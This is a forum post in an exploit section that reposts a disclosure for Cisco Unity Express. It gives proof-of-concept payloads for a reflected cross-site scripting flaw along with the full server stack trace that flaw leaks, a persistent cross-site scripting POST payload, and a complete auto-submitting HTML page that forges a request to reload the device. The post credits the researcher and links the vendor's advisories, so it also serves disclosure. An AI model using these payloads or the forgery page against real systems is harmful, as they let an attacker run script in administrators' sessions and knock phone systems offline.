Jump to content
Praetorian503

Cisco Unity Express Cross Site Request Forgery / Cross Site Scripting

By Praetorian503, in Exploituri

Recommended Posts

Praetorian503 Newbie

Praetorian503

Posted
Posted

Cisco Unity suffers from cross site request forgery and cross site scripting vulnerabilities.

# Exploit Title: Cisco Unity Express Multiple Vulnerabilities
# Reported: December 2012
# Disclosed: February 2013
# Author: Jacob Holcomb of Independent Security Evaluators
# CVE: XSS - CVE-2013-1114 and CSRF - CVE-2013-1120
# http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html

Cisco Advisory
http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114
http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120

Proof of Concept
XSS - CVE-2013-1114:
GET:
Reflective XSS & Info disclosure
http://X.X.X.X/Web/SA2/ScriptList.do?gui_pagenotableData=><script>alert(42)</script>

Information Disclosure
Location: /Web/WEB-INF/screens/main.jsp
Error Location: /Web/WEB-INF/screens/prompts/ListScripts.jsp
Internal Servlet Error:

javax.servlet.ServletException: invalid character at position 1 in >
org.apache.jasper.runtime.PageContextImpl.handlePageException (Unknown Source)
WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:2245)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)
org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)
WEB_0002dINF.screens.main._jspService (main.java:396)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)
org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)
org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)
com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)
org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.core.ContextManager.internalService (Unknown Source)
org.apache.tomcat.core.ContextManager.service (Unknown Source)
org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)
org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)
org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)
java.lang.Thread.run (Thread.java:777)

Root cause:
java.lang.NumberFormatException: invalid character at position 1 in >
java.lang.Throwable. (Throwable.java:166)
java.lang.Integer.parseInt (Integer.java:775)
java.lang.Integer.parseInt (Integer.java:262)
com.cisco.aesop.gui.taglibs.PagingTableTag.doAfterBody (PagingTableTag.java:274)
WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:1903)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)
org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)
WEB_0002dINF.screens.main._jspService (main.java:396)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)
org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)
org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)
com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)
org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.core.ContextManager.internalService (Unknown Source)
org.apache.tomcat.core.ContextManager.service (Unknown Source)
org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)
org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)
org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)
java.lang.Thread.run (Thread.java:777)



POST:
Persistent XSS
http://X.X.X.X/Web/SA3/AddHoliday.do
POST Data: holiday.description=><script>alert(42)</script>&submitType=ADD


CSRF - CVE-2013-1120:

<html>
<!-- # Exploit Title: Cisco Unity Express CSRF
     # Date: Discovered and reported December 2012
     # Disclosed: February 2013
     # Author: Jacob Holcomb of Independent Security Evaluators
     # Software: Cisco Unity Express
     # CVE : CVE-2013-1120 for the CSRF
     # Note: All the HTML forms are susceptible to forgery -->

<head>
<title>Reload Cisco Unity Express CSRF</title>
</head>

<body>

<form name="CUEreload" action="http://X.X.X.X/Web/SA/SaveConfiguration.do" method="post">
<input type="hidden" name="submitType" value="RELOAD"/>
</form>

<script>
document.CUEreload.submit();
</script>

</body>
</html>

Source: PacketStorm

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...